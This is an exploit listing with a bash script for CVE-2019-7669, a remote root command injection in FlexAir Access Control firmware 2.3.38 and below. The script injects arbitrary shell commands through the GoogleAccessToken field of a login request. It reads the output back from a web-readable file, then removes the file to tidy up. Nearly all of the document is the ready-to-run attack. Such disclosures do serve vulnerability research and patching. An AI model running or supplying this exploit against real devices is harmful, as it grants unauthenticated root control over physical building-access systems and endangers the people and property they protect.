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FlexAir Access Control 2.3.38 Command Injection

FlexAir Access Control 2.3.38 Command Injection
Posted Nov 12, 2019
Authored by Sipke Mellema | Site applied-risk.com

FlexAir Access Control versions 2.3.38 and below remote root command injection exploit.

tags | exploit, remote, root
advisories | CVE-2019-7669
SHA-256 | cb717b6ad90bc22e69a5212d52b87a75df347efe9a4d23597caf7aa0014e3f70

FlexAir Access Control 2.3.38 Command Injection

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#!/bin/bash
#
# Command injection with root privileges in FlexAir Access Control (Prima Systems)
# Firmware version: <= 2.3.38
# CVE: CVE-2019-7669
# Advisory: https://applied-risk.com/resources/ar-2019-007
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system
#
# Discovered by Sipke Mellema
# Updated: 14.01.2019
#
##########################################################################
#
# $ ./Nova2.3.38_cmd.sh 192.168.13.37 "id"
# Executing: id
# Output:
# uid=0(root) gid=0(root) groups=0(root),10(wheel)
# Removing temporary file..
# Done
#
##########################################################################
# Output file on the server
OUTPUT_FILE="/www/pages/app/images/logos/output.txt"
# Command to execute
CMD="$2"
# IP address
IP="$1"
# Change HTTP to HTTPS if required
HOST="http://${IP}"
# Add output file
CMD_FULL="${CMD}>${OUTPUT_FILE}"
# Command injection payload. Be careful with single quotes!
PAYLOAD="<requests><request name='LoginUser'><param name='UsrName' value='test'/><param name='UsrEMail' value='test@test.com'/><param name='GoogleAccessToken' value='test;${CMD_FULL}'/></request></requests>"

# Perform exploit
echo "Executing: ${CMD}"
curl --silent --output /dev/null -X POST -d "${PAYLOAD}" "${HOST}/bin/sysfcgi.fx"
# Get output
echo "Output:"
curl -s "${HOST}/app/images/logos/output.txt"
# Remove temp file
echo "Removing temporary file.."
PAYLOAD="<requests><request name='LoginUser'><param name='UsrName' value='test'/><param name='UsrEMail' value='test@test.com'/><param name='GoogleAccessToken' value='test;rm /www/pages/app/images/logos/output.txt'/></request></requests>"
curl --silent --output /dev/null -X POST -d "${PAYLOAD}" "${HOST}/bin/sysfcgi.fx"
echo "Done"
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